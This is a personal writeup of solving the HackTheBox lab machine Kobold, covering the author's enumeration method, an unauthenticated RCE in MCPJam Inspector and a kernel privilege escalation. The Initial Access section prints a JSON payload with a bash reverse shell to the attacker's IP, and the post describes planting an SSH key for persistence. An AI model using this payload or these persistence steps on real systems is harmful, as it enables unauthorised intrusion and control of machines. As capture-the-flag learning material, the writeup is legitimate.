Kobold HTB Writeup

A documentation of my tought process and approach to solving Kobold on HackTheBox.

Published 22.05.2026
Category Writeup
Machine Kobold
Reading Time 2 min
Imagine hacking into a remote server and instead of police showing up at your doorstep, you get rewarded with a Level Up and more importantly, hands-on experience. For the past few weeks that’s exactly what I’ve been doing, and in some aspects the experience was comparable to my French exchange. I’ve had my fair bit of theory and lectures, but directly plunging into practice connected all the dots. It helped me put what I'd learned into context and gave me a lot of new insights too, which I’d like to share in this first writeup.

Methodology

Back in 2020, I had my first attempts at hacking a machine on HackTheBox. Only now have I successfully finished one unassisted. Apart from a lack of knowledge and skill, the main reason I always used to get stuck and had to look up walkthroughs was that I hadn't developed a methodology.

I’d just run an nmap scan and as soon as I found anything that could potentially be exploited, I’d just stick to it without exploring any of the other paths. My problem was that I rushed the enumeration phase and moved on to exploitation way too early. And when I eventually looked up the solution in a walkthrough, I got frustrated because in hindsight it seemed so obvious.

So here’s a common and simple methodology of an attack that I found worked best on HTB for Linux boxes:

  1. Recon / Enumeration
    • What ports are open and what services are behind them? (nmap)
    • What version are those services running?
    • What subdomains and directories are there? (ffuf or gobuster)
    • What is on the website? What parts are interactable?
    • What error messages do failed login attempts return?
    • Are there any public CVEs for the service + version? (NVD)
  2. Initial Access
    • Exploit a vulnerability to gain a reverse shell
    • Get an SSH session
    • Capture the user flag
  3. Privilege Escalation

If you get stuck, remember: “Sometimes you gotta cd .. to ls”. Chances are you missed something in the recon phase.

Reconnaissance

I first ran an nmap scan to see which ports were open. To also see additional info about the services behind them, I used the -sC flag and -sV for versions.


There's an SSH server, two HTTP servers (on port 80 and 3552), and HTTPS on 443. HTTP on 80 redirects to https://kobold.htb/, so I added it to /etc/hosts.
Visiting the website, I checked the source code and it didn't look very interesting. So I ran a directory enumeration using ffuf but it too returned nothing.

My first attempt at fuzzing subdomains failed because I fell for a common pitfall for beginners. ffuf -w some-wordlist.txt -u https://FUZZ.kobold.htb/ won't work since any subdomain of kobold.htb also needs an entry in /etc/hosts. Instead, I fuzzed the host header using the following command: ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host: FUZZ.kobold.htb' -u https://kobold.htb -fl 8.

This revealed mcp.kobold.htb and bin.kobold.htb, which I then added to /etc/hosts. The -fl 8 flag filters out responses with 8 lines, excluding all false positives. https://mcp.kobold.htb was running an instance of MCPJam Inspector. Looking up MCPJam on https://nvd.nist.gov/vuln/search led me to discover CVE-2026-23744. The vulnerability made unauthenticated remote code execution possible through creating a custom MCP server.
NMAP SCAN OUTPUT
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-15 13:33 CEST
Nmap scan report for kobold.htb (10.129.55.210)
Host is up (0.027s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_  256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp   open  http     nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp  open  ssl/http nginx 1.24.0 (Ubuntu)
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after:  2125-02-19T15:08:55
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: Kobold Operations Suite
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
3552/tcp open  http     Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed.
Nmap done: 1 IP address (1 host up) scanned in 46.24 seconds

Initial Access

With the help of a PoC I found on GitHub, I crafted a POST request that carried my own payload.

INITIAL PAYLOAD
{
	"serverConfig": {
		 "command":"/bin/sh",
		 "args": ["-c", "bash -i >& /dev/tcp/10.10.15.233/9001 0>&1"],
		 "env":{}
	},
	"serverId":"pwn"
}

After starting a netcat listener on port 9001, I ran the command and nothing happened. I checked my firewall and tried troubleshooting the issue. Turns out >& /dev/tcp/ is specifically a bash feature. So instead of betting that the binary my payload executes, /bin/sh, points to bash, I directly ran /bin/bash instead. The new payload worked and my shell connected! I quickly grabbed the user flag and submitted it on the platform.

Privilege Escalation

Now that I had access to ben’s account, I wanted to upgrade my shell and ensure persistence. I recalled an SSH server was running, so I created .ssh in ben’s home directory and echoed my SSH public key to .ssh/authorized_keys. Using chmod, I set 700 permissions for the .ssh directory and 600 for authorized_keys. Running ssh with the -i id_ed25519 flag successfully connected me to ben’s user. Using scp, I uploaded linpeas.sh and executed it, which then revealed the kernel was susceptible to CVE-2026-43284, also known as Dirty Frag. After compiling the public exploit and uploading it again with scp, I executed it and got root. It was surprised how easy this part was, so I started reading about the exploit.

The Oops

Well, turns out Dirty Frag was a real vulnerability affecting all major distributions that was discovered just a week before. I accidentally skipped half the machine as this wasn’t the intended privilege escalation attack vector, but personally I don’t consider this to be cheating. My suspicion is that there was another way to gain root with a vulnerability at bin.kobold.htb, which I hadn’t touched. Out of curiosity, I ran linpeas on my own Kali VM that I had set up not long ago (click here to read about it). Turns out it too was susceptible to Dirty Frag, and I was able to verify it by running the exploit on it.

Key Insight

Finishing some more machines helped me grasp how hackers get from only having an IP to getting root access of that machine. Offensive security mostly consists of finding, exploiting, and chaining together outdated services with known vulnerabilities and misconfigurations. Discovering new vulnerabilities is rare, and they're mostly found by research teams and now even AI (Claude Mythos). In that sense, hacking is a lot like learning a language. The grammar is already written, the vocabulary exists. The skill is in knowing when and how to use it.